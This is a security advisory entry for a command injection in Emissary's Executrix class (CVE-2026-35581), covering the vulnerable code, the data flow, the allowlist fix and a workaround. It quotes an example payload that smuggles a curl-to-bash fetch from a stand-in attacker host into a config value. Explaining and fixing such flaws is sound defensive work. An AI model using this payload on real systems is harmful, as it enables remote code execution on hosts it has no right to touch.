---
id: "CVE-2026-35581"
kind: "vulnerability"
aliases: ["CVE-2026-35581", "GHSA-6c37-7w4p-jg9v"]
title: "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix"
severity: "high"
cvss: 7.2
epss: 0.00563
exploited: false
status: "open"
category: "package"
products: [{"name": "gov.nsa.emissary:emissary", "fixed": ["8.39.0"], "affected": "< 8.39.0", "ecosystem": "maven"}]
ecosystems: ["maven"]
tags: ["cwe-78", "emissary", "java", "maven", "package", "self-hosted"]
not_affected_if: ["no-untrusted-config-access", "version-8.39.0-or-later"]
published_at: "2026-04-08T00:12:50+00:00"
first_seen_at: "2026-11-04T22:17:42+00:00"
updated_at: "2026-11-04T22:18:56+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-6c37-7w4p-jg9v", "first_seen_at": "2026-11-04T22:17:42+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00563, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35581"}]
---

# Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Emissary's Executrix utility builds shell commands from the PLACE_NAME configuration value, replacing only spaces with underscores. Shell metacharacters pass through to /bin/sh -c, so an attacker who can set that config value runs arbitrary commands on the host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- maven:gov.nsa.emissary:emissary affected < 8.39.0 fixed 8.39.0

## How to check

- Check the Maven dependency `gov.nsa.emissary:emissary` version in the project's build file; affected if below `8.39.0`
- Review configuration files for PLACE_NAME values containing characters other than letters, digits, underscores and hyphens

## Fix

- `gov.nsa.emissary:emissary` moves to `8.39.0` or later (fixed in PR #1290, released in 8.39.0)
- Workaround from the advisory if upgrading is not immediately possible: restrict PLACE_NAME values to alphanumeric characters, underscores and hyphens

## Timeline

- 2026-11-04T22:17:42+00:00 ghsa https://github.com/advisories/GHSA-6c37-7w4p-jg9v

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/NationalSecurityAgency/emissary/security-advisories/GHSA-6c37-7w4p-jg9v
- [advisory] Maintainer's advisory: github.com https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v
- [fix] Patch: github.com https://github.com/NationalSecurityAgency/emissary/pull/1290
- [fix] Release: github.com https://github.com/NationalSecurityAgency/emissary/releases/tag/8.39.0

## From the sources

## Summary

The `Executrix` utility class constructed shell commands by concatenating
configuration-derived values — including the `PLACE_NAME` parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through
into `/bin/sh -c` command execution.

## Details

### Vulnerable code — `Executrix.java`

**Insufficient sanitization (line 132):**
```java
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through
```

**Shell sink (line 1052–1058):**
```java
protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
```

### Data flow

1. `PLACE_NAME` is read from a configuration file
2. `Executrix` applies only a space-to-underscore replacement
3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)
4. `tmpNames[DIR]` is concatenated into a shell command string
5. The command is executed via `/bin/sh -c`

### Example payload

```
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
```

After the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`
(semicolons, pipes, and other metacharacters preserved)

### Impact

- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative
  access or a compromised configuration source)

## Remediation

Fixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),
merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all
characters not matching `[a-zA-Z0-9_-]`:

```java
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
```

This ensures that any shell metacharacter in the `PLACE_NAME` configuration
value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs,
backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

## Workarounds

If upgrading is not immediately possible, ensure that `PLACE_NAME` values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.

## References

- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)
- Original report: GHSA-wjqm-p579-x3ww

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_